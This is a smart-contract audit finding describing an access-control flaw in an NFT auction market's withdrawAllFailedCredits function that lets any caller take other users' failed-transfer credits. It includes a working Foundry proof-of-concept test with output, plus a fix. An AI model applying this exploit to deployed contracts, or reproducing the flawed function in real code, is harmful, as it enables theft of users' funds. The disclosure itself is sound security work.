Anyone Can Withdraw Failed Transfer Credits Belonging to Other Users (Access Control Bypass + Funds Theft)
Description
-
The withdrawAllFailedCredits function is designed to allow users to withdraw their own failed transfer credits that accumulated when direct ETH transfers failed during the auction process.
-
However, the function accepts an arbitrary _receiver parameter but always sends the withdrawn funds to msg.sender, creating a critical vulnerability where any user can withdraw failed credits belonging to other users.
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
@> function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
-
Failed transfer credits will accumulate whenever bidders are contracts that cannot receive ETH or when recipients have fallback functions that revert.
-
Any user can call this function at any time with any other user's address as the _receiver parameter.
Impact:
Proof of Concept
First we need to make a quick fix in test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest::setUp()
function setUp() public {
// Deploy contracts
- vm.prank(OWNER);
+ vm.startPrank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
rejector = new RejectEther();
vm.stopPrank();
// Fund users
vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
}
Please add the following test to test/BidBeastsMarketPlaceTest.t.sol:
contract RejectEther {
function bid(BidBeastsNFTMarket market, uint256 tokenId, uint256 amount) external payable {
market.placeBid{value: amount}(tokenId);
}
}
contract BidBeastsNFTMarketTest is Test {
event BidPlaced(uint256 indexed tokenId, address indexed bidder, uint256 amount);
function testAnyoneCanWithdrawAnyFailedCredits() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), 2 ether);
console2.log("Rejector's balance before bidding: ", address(rejector).balance);
uint256 rejectorBeforeBidding = address(rejector).balance;
assertEq(2 ether, rejectorBeforeBidding);
rejector.bid(market, TOKEN_ID, MIN_PRICE + 1);
console2.log("Rejector's balance after bidding: ", address(rejector).balance);
uint256 rejectorAfterBidding = address(rejector).balance;
assertEq(rejectorAfterBidding + MIN_PRICE + 1, rejectorBeforeBidding);
BidBeastsNFTMarket.Bid memory highestBid1 = market.getHighestBid(TOKEN_ID);
assertEq(highestBid1.bidder, address(rejector));
assertEq(highestBid1.amount, MIN_PRICE + 1);
assertEq(market.getListing(TOKEN_ID).auctionEnd, block.timestamp + market.S_AUCTION_EXTENSION_DURATION());
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory highestBid2 = market.getHighestBid(TOKEN_ID);
assertEq(highestBid2.bidder, BIDDER_1);
assertEq(highestBid2.amount, MIN_PRICE + 1 ether);
assertEq(market.getListing(TOKEN_ID).auctionEnd, block.timestamp + market.S_AUCTION_EXTENSION_DURATION());
console2.log("Rejector's balance after a higher bidding: ", address(rejector).balance);
uint256 rejectorAfterAnotherHigerBidding = address(rejector).balance;
assertEq(rejectorAfterAnotherHigerBidding, rejectorAfterBidding);
uint256 bidder2Beforewithdraw = address(BIDDER_2).balance;
console2.log("BIDDER_2's balance before withdraw: ", address(BIDDER_2).balance);
vm.prank(BIDDER_2);
market.withdrawAllFailedCredits(address(rejector));
console2.log("BIDDER_2's balance after withdraw: ", address(BIDDER_2).balance);
assertEq(address(BIDDER_2).balance, bidder2Beforewithdraw + MIN_PRICE + 1);
}
}
Then run: forge test --mt testAnyoneCanWithdrawAnyFailedCredits -vv
Output:
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] testAnyoneCanWithdrawAnyFailedCredits() (gas: 374804)
Logs:
Rejector's balance before bidding: 2000000000000000000
Rejector's balance after bidding: 999999999999999999
Rejector's balance after a higher bidding: 999999999999999999
BIDDER_2's balance before withdraw: 100000000000000000000
BIDDER_2's balance after withdraw: 101000000000000000001
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 811.37µs (220.32µs CPU time)
Recommended Mitigation
Remove the _receiver parameter and ensure users can only withdraw their own credits.
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
-
- (bool success,) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+
+ (bool success,) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
